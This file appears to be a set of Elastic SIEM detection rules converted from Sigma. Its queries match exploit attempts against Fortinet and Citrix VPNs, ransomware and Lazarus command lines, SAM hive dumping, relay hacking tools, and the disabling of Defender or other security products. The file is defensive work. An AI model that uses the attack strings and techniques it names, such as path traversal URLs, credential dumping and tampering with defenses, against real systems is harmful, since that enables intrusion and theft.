{"description":"Detects creation/modification of Assisitive Technology applications and persistence with usage of ATs Author: Mateusz Wydra, oscd.community. License: ","enabled":false,"false_positives":["Creation of non-default, legitimate AT."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"5a64bb00-2e35-f5fa-9594-2ee5e15a8f0a","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Atbroker Registry Change","query":"(winlog.event_data.TargetObject:*Software\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Accessibility\\\\ATs* OR winlog.event_data.TargetObject:*Software\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Accessibility\\\\Configuration*)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1218","T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects CVE-2018-13379 exploitation attempt against Fortinet SSL VPNs Author: Bhabesh Raj. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["filebeat-*"],"interval":"5m","rule_id":"e18bbcf2-e4b2-91b4-e30d-ecae7065dd68","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Fortinet CVE-2018-13379 Exploitation","query":"(url.original:*lang\\=\\/..\\/..\\/* AND url.original:*\\/dev\\/cmdb\\/sslvpn_websession*)","meta":{"from":"1m"},"severity":"critical","tags":["Initial Access","T1190"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0001","reference":"","name":"Initial Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1190","name":"Exploit Public-Facing Application","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects CVE-2019-19781 exploitation attempt against Citrix Netscaler, Application Delivery Controller and Citrix Gateway Attack Author: Arnim Rupp, Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["filebeat-*"],"interval":"5m","rule_id":"2db46fc8-701c-5257-1195-6cc3c113a537","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Citrix Netscaler Attack CVE-2019-19781","query":"url.original:(*\\/..\\/vpns\\/* OR *\\/vpns\\/cfg\\/smb.conf OR *\\/vpns\\/portal\\/scripts\\/*.pl*)","meta":{"from":"1m"},"severity":"critical","tags":["Initial Access","T1190"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0001","reference":"","name":"Initial Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1190","name":"Exploit Public-Facing Application","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects DarkSide Ransomware and helpers Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown","UAC bypass method used by other malware"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e708c7da-49c4-321d-4ec4-7e6d0fc4ff11","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"DarkSide Ransomware Pattern","query":"(process.command_line:(*\\=\\[char\\]\\[byte\\]\\('0x'\\+* OR *\\ \\-work\\ worker0\\ \\-path\\ *) OR (process.parent.command_line:*DllHost.exe\\ \\/Processid\\:\\{3E5FC7F9\\-9A51\\-4367\\-9063\\-A120244FBEC7\\}* AND process.executable:*\\\\AppData\\\\Local\\\\Temp\\\\*))","meta":{"from":"1m"},"severity":"critical","tags":["T1204"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1204","name":"User Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects defence evasion attempt via odbcconf.exe execution to load DLL Author: Kirill Kiryanov, Beyu Denis, Daniil Yugoslavskiy, oscd.community. License: ","enabled":false,"false_positives":["Legitimate use of odbcconf.exe by legitimate user"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"65d2be45-8600-4042-b4c0-577a1ff8a60e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Application Whitelisting Bypass via DLL Loaded by odbcconf.exe","query":"((process.executable:*\\\\odbcconf.exe AND process.command_line:(*\\-f* OR *regsvr*)) OR (process.parent.executable:*\\\\odbcconf.exe AND process.executable:*\\\\rundll32.exe))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects deinstallation of security products using WMIC utility Author: Florian Roth. License: ","enabled":false,"false_positives":["Legitimate administration"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"b08b736e-acdf-200b-5ff6-a53d5c69b0a6","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Wmic Uninstall Security Product","query":"(process.command_line:*wmic* AND process.command_line:*product\\ where\\ name\\=* AND process.command_line:*call\\ uninstall* AND process.command_line:*\\/nointeractive* AND process.command_line:(*Antivirus* OR *AVG\\ * OR *Crowdstrike\\ Sensor* OR *DLP\\ Endpoint* OR *Endpoint\\ Detection* OR *Endpoint\\ Protection* OR *Endpoint\\ Security* OR *Endpoint\\ Sensor* OR *ESET\\ File\\ Security* OR *Malwarebytes* OR *McAfee\\ Agent* OR *Microsoft\\ Security\\ Client* OR *Threat\\ Protection* OR *VirusScan* OR *Webroot\\ SecureAnywhere* OR *Windows\\ Defender*))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects deletion of local audit logs Author: remotephone, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administration activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"acf61bd8-d814-4272-81f0-a7a269aa69aa","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Indicator Removal on Host - Clear Mac System Logs","query":"(process.executable:*\\/rm AND (process.command_line:*\\/var\\/log* OR (process.command_line:*\\/Users\\/* AND process.command_line:*\\/Library\\/Logs\\/*)))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1070"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1070","name":"Indicator Removal on Host","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects different hacktools used for relay attacks on Windows for privilege escalation Author: Florian Roth. License: ","enabled":false,"false_positives":["Legitimate files with these rare hacktool names"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"79898aff-6a2c-c184-2319-d8f0ecdf4614","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"SMB Relay Attack Tools","query":"(process.executable:(*PetitPotam* OR *RottenPotato* OR *HotPotato* OR *JuicyPotato* OR *\\\\just_dce_* OR *Juicy\\ Potato* OR *\\\\temp\\\\rot.exe* OR *\\\\Potato.exe* OR *\\\\SpoolSample.exe* OR *\\\\Responder.exe* OR *\\\\smbrelayx* OR *\\\\ntlmrelayx*) OR process.command_line:(*Invoke\\-Tater* OR *\\ smbrelay* OR *\\ ntlmrelay* OR *cme\\ smb\\ * OR *\\ \\/ntlm\\:NTLMhash\\ * OR *Invoke\\-PetitPotam*))","meta":{"from":"1m"},"severity":"critical","tags":["T1557"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects different loaders as described in various threat reports on Lazarus group activity Author: Florian Roth, wagga. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"0c94e9a6-4d4a-476c-a827-7afdbd14d9da","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Lazarus Loaders","query":"((process.command_line:*cmd.exe\\ \\/c\\ * AND process.command_line:*\\ \\-p\\ 0x* AND process.command_line:(*C\\:\\\\ProgramData\\\\* OR *C\\:\\\\RECYCLER\\\\*)) OR (process.command_line:*rundll32.exe\\ * AND process.command_line:*C\\:\\\\ProgramData\\\\* AND process.command_line:(*.bin,* OR *.tmp,* OR *.dat,* OR *.io,* OR *.ini,* OR *.db,*)))","meta":{"from":"1m"},"severity":"critical","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects different process creation events as described in Malwarebytes's threat report on Lazarus group activity Author: Bhabesh Raj. License: ","enabled":false,"false_positives":["Should not be any false positives"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f1742b73-b427-2161-f145-7c0ecf553041","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Lazarus Activity","query":"((process.command_line:*mshta* AND process.command_line:*.zip*) OR (process.parent.executable:\"C\\:\\\\Windows\\\\System32\\\\wbem\\\\wmiprvse.exe\" AND process.executable:\"C\\:\\\\Windows\\\\System32\\\\mshta.exe\") OR (process.parent.executable:*\\:\\\\Users\\\\Public\\\\* AND process.executable:\"C\\:\\\\Windows\\\\System32\\\\rundll32.exe\"))","meta":{"from":"1m"},"severity":"critical","tags":["T1106"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1106","name":"Native API","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects different process creation events as described in various threat reports on Lazarus group activity Author: Florian Roth. License: ","enabled":false,"false_positives":["Overlap with legitimate process activity in some cases (especially selection 3 and 4)"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"24c4d154-05a4-4b99-b57d-9b977472443a","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Lazarus Activity","query":"(process.command_line:(*reg.exe\\ save\\ hklm\\\\sam\\ %temp%\\\\\\~reg_sam.save* OR *1q2w3e4r@#$@#$@#$* OR *\\ \\-hp1q2w3e4\\ * OR *.dat\\ data03\\ 10000\\ \\-p\\ *) OR (process.command_line:*process\\ call\\ create* AND process.command_line:*\\ >\\ %temp%\\\\\\~*) OR (process.command_line:*netstat\\ \\-aon\\ |\\ find\\ * AND process.command_line:*\\ >\\ %temp%\\\\\\~*) OR process.command_line:*.255\\ 10\\ C\\:\\\\ProgramData\\\\*)","meta":{"from":"1m"},"severity":"critical","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects direct modification of autostart extensibility point (ASEP) in registry using reg.exe. Author: Victor Sergeev, Daniil Yugoslavskiy, oscd.community. License: ","enabled":false,"false_positives":["Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reasons.","Legitimate administrator sets up autorun keys for legitimate reasons."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"24357373-078f-44ed-9ac4-6d334a668a11","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Direct Autorun Keys Modification","query":"(process.executable:*\\\\reg.exe AND process.command_line:*add* AND process.command_line:(*\\\\software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run* OR *\\\\software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce* OR *\\\\software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx* OR *\\\\software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServices* OR *\\\\software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServicesOnce* OR *\\\\software\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\Userinit* OR *\\\\software\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\Shell* OR *\\\\software\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Windows* OR *\\\\software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\User\\ Shell\\ Folders* OR *\\\\system\\\\CurrentControlSet\\\\Control\\\\SafeBoot\\\\AlternateShell*))","meta":{"from":"1m"},"severity":"medium","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects disabling security tools Author: Ã–mer GÃ¼nal, Alejandro Ortuno, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administration activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"e3a8a052-111f-4606-9aee-f28ebeb76776","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Disabling Security Tools","query":"((process.executable:*\\/service AND process.command_line:*iptables* AND process.command_line:*stop*) OR (process.executable:*\\/service AND process.command_line:*ip6tables* AND process.command_line:*stop*) OR (process.executable:*\\/chkconfig AND process.command_line:*iptables* AND process.command_line:*stop*) OR (process.executable:*\\/chkconfig AND process.command_line:*ip6tables* AND process.command_line:*stop*) OR (process.executable:*\\/systemctl AND process.command_line:*firewalld* AND process.command_line:*stop*) OR (process.executable:*\\/systemctl AND process.command_line:*firewalld* AND process.command_line:*disable*) OR (process.executable:*\\/service AND process.command_line:*cbdaemon* AND process.command_line:*stop*) OR (process.executable:*\\/chkconfig AND process.command_line:*cbdaemon* AND process.command_line:*off*) OR (process.executable:*\\/systemctl AND process.command_line:*cbdaemon* AND process.command_line:*stop*) OR (process.executable:*\\/systemctl AND process.command_line:*cbdaemon* AND process.command_line:*disable*) OR (process.executable:*\\/setenforce AND process.command_line:*0*) OR (process.executable:*\\/systemctl AND process.command_line:*stop* AND process.command_line:*falcon\\-sensor*) OR (process.executable:*\\/systemctl AND process.command_line:*disable* AND process.command_line:*falcon\\-sensor*))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects disabling security tools Author: Daniil Yugoslavskiy, oscd.community. License: ","enabled":false,"false_positives":["Legitimate activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"ff39f1a6-84ac-476f-a1af-37fcdf53d7c0","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Disable Security Tools","query":"((process.executable:\"\\/bin\\/launchctl\" AND process.command_line:*unload* AND process.command_line:(*com.objective\\-see.lulu.plist* OR *com.objective\\-see.blockblock.plist* OR *com.google.santad.plist* OR *com.carbonblack.defense.daemon.plist* OR *com.carbonblack.daemon.plist* OR *at.obdev.littlesnitchd.plist* OR *com.tenablesecurity.nessusagent.plist* OR *com.opendns.osx.RoamingClientConfigUpdater.plist* OR *com.crowdstrike.falcond.plist* OR *com.crowdstrike.userdaemon.plist* OR *osquery* OR *filebeat* OR *auditbeat* OR *packetbeat* OR *td\\-agent*)) OR (process.executable:\"\\/usr\\/sbin\\/spctl\" AND process.command_line:*disable*))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects disabling the CrashDump per registry (as used by HermeticWiper) Author: Tobias Michalski. License: ","enabled":false,"false_positives":["Legitimate disabling of crashdumps"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a416d91c-a435-d8ad-b4c0-1d4de5487fad","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"CrashControl CrashDump Disabled","query":"(winlog.event_data.TargetObject:*SYSTEM\\\\CurrentControlSet\\\\Control\\\\CrashControl* AND winlog.event_data.Details:\"DWORD\\ \$0x00000000\$\")","meta":{"from":"1m"},"severity":"medium","tags":["T1112","T1564"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects disabling Windows Defender Exploit Guard Network Protection Author: Austin Songer @austinsonger. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"b05be5ea-5ef4-11e9-e3c5-5e1847b30936","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Disable Exploit Guard Network Protection on Windows Defender","query":"(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\ Defender\\ Security\\ Center\\\\App\\ and\\ Browser\\ protection\\\\DisallowExploitProtectionOverride* AND winlog.event_data.Details:\"DWORD\\ \$00000001\$\")","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects disabling Windows Defender PUA protection Author: Austin Songer @austinsonger. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a69b6f5a-e936-cb7f-9f4f-187cbe818226","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Disable PUA Protection on Windows Defender","query":"(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\ Defender\\\\PUAProtection* AND winlog.event_data.Details:\"DWORD\\ \$0x00000000\$\")","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects disabling Windows Defender Real-Time Protection by modifying registry Author: AlertIQ. License: ","enabled":false,"false_positives":["Administrator actions"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"de50411f-d705-2c13-596f-530b63c2011f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Windows Defender Real-Time Protection Disabled","query":"(winlog.event_data.EventType:\"SetValue\" AND ((winlog.event_data.TargetObject:(\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\ Defender\\\\Real\\-Time\\ Protection\\\\DisableBehaviorMonitoring\" OR \"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\ Defender\\\\Real\\-Time\\ Protection\\\\DisableIOAVProtection\" OR \"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\ Defender\\\\Real\\-Time\\ Protection\\\\DisableOnAccessProtection\" OR \"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\ Defender\\\\Real\\-Time\\ Protection\\\\DisableRealtimeMonitoring\" OR \"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\ Defender\\\\Real\\-Time\\ Protection\\\\DisableScanOnRealtimeEnable\" OR \"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\ Defender\\\\SpyNet\\\\DisableBlockAtFirstSeen\") AND winlog.event_data.Details:\"DWORD\\ \$0x00000001\$\") OR (winlog.event_data.TargetObject:(\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\ Defender\\\\SpyNet\\\\SpynetReporting\" OR \"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\ Defender\\\\SpyNet\\\\SubmitSamplesConsent\") AND winlog.event_data.Details:\"DWORD\\ \$0x00000000\$\")))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects disabling Windows Defender Tamper Protection Author: Austin Songer @austinsonger. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a773c40d-7bc2-8566-2a25-f5e737fb8253","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Disable Tamper Protection on Windows Defender","query":"(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ Defender\\\\Features\\\\TamperProtection* AND winlog.event_data.Details:\"DWORD\\ \$0\$\")","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects disabling Windows Defender threat protection Author: JÃ¡n TrenÄanskÃ½, frack113, AlertIQ. License: ","enabled":false,"false_positives":["Administrator actions"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"33a3d0ea-448a-51b3-5839-b208ddf4d798","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Windows Defender Threat Detection Disabled","query":"(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.Details:\"DWORD\\ \$0x00000001\$\" AND (winlog.event_data.TargetObject:(\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\ Defender\\\\DisableAntiSpyware\" OR \"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\ Defender\\\\DisableAntiVirus\") OR winlog.event_data.TargetObject:(\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\WinDefend\" OR \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ Defender\" OR \"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\ Defender\")))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects DLL image load activity as used by FoggyWeb backdoor loader Author: Florian Roth. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a5abd162-9e23-ccd1-1e75-f92988824901","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"FoggyWeb Backdoor DLL Loading","query":"process.executable:\"C\\:\\\\Windows\\\\ADFS\\\\version.dll\"","meta":{"from":"1m"},"severity":"critical","tags":[],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects Dllhost that communicates with public IP addresses Author: bartblaze. License: ","enabled":false,"false_positives":["Communication to other corporate systems that use IP addresses from public address spaces"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"c27de3b9-f924-135b-0395-055d19e86049","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Dllhost Internet Connection","query":"((process.executable:*\\\\dllhost.exe AND winlog.event_data.Initiated:\"true\") AND (NOT ((destination.ip:(10.* OR 192.168.* OR 172.16.* OR 172.17.* OR 172.18.* OR 172.19.* OR 172.20.* OR 172.21.* OR 172.22.* OR 172.23.* OR 172.24.* OR 172.25.* OR 172.26.* OR 172.27.* OR 172.28.* OR 172.29.* OR 172.30.* OR 172.31.*)) OR (destination.ip:\"0\\:0\\:0\\:0\\:0\\:0\\:0\\:1\"))))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1218","T1559"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1559","name":"Inter-Process Communication","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects DLL's Loaded Via Word Containing VBA Macros Author: Antonlovesdnb. License: ","enabled":false,"false_positives":["Alerts on legitimate macro usage as well, will need to filter as appropriate"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"581c5e6b-0463-3a58-2d52-edb0c2db38ad","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"VBA DLL Loaded Via Microsoft Word","query":"(process.executable:(*\\\\winword.exe OR *\\\\powerpnt.exe OR *\\\\excel.exe OR *\\\\outlook.exe) AND file.path:(*\\\\VBE7.DLL OR *\\\\VBEUI.DLL OR *\\\\VBE7INTL.DLL))","meta":{"from":"1m"},"severity":"high","tags":["T1204"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1204","name":"User Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects DLL's Loaded Via Word Containing VBA Macros Executing WMI Commands Author: Michael R. (@nahamike01). License: ","enabled":false,"false_positives":["Possible. Requires further testing."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"2f5aa5c6-061f-046e-d674-65de262c2daa","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Windows Management Instrumentation DLL Loaded Via Microsoft Word","query":"(process.executable:(*\\\\winword.exe OR *\\\\powerpnt.exe OR *\\\\excel.exe OR *\\\\outlook.exe) AND file.path:(*\\\\wmiutils.dll OR *\\\\wbemcomn.dll OR *\\\\wbemprox.dll OR *\\\\wbemdisp.dll))","meta":{"from":"1m"},"severity":"low","tags":["T1047"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1047","name":"Windows Management Instrumentation","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects DNS queries for ip lookup services such as api.ipify.org not originating from a browser process. Author: Brandon George (blog post), Thomas Patzke (rule). License: ","enabled":false,"false_positives":["Legitimate usage of ip lookup services such as ipify API"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d95d2559-c7ab-4a0a-ad7b-7ae7dd0a1ab6","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious DNS Query for IP Lookup Service APIs","query":"(dns.question.name:(\"canireachthe.net\" OR \"ipv4.icanhazip.com\" OR \"ip.anysrc.net\" OR \"edns.ip\\-api.com\" OR \"wtfismyip.com\" OR \"checkip.dyndns.org\" OR \"api.2ip.ua\" OR \"icanhazip.com\" OR \"api.ipify.org\" OR \"ip\\-api.com\" OR \"checkip.amazonaws.com\" OR \"ipecho.net\" OR \"ipinfo.io\" OR \"ipv4bot.whatismyipaddress.com\" OR \"freegeoip.app\") AND (NOT (process.executable:(*\\\\chrome.exe OR *\\\\iexplore.exe OR *\\\\firefox.exe OR *\\\\brave.exe OR *\\\\opera.exe OR *\\\\msedge.exe OR *\\\\vivaldi.exe))))","meta":{"from":"1m"},"severity":"medium","tags":[],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
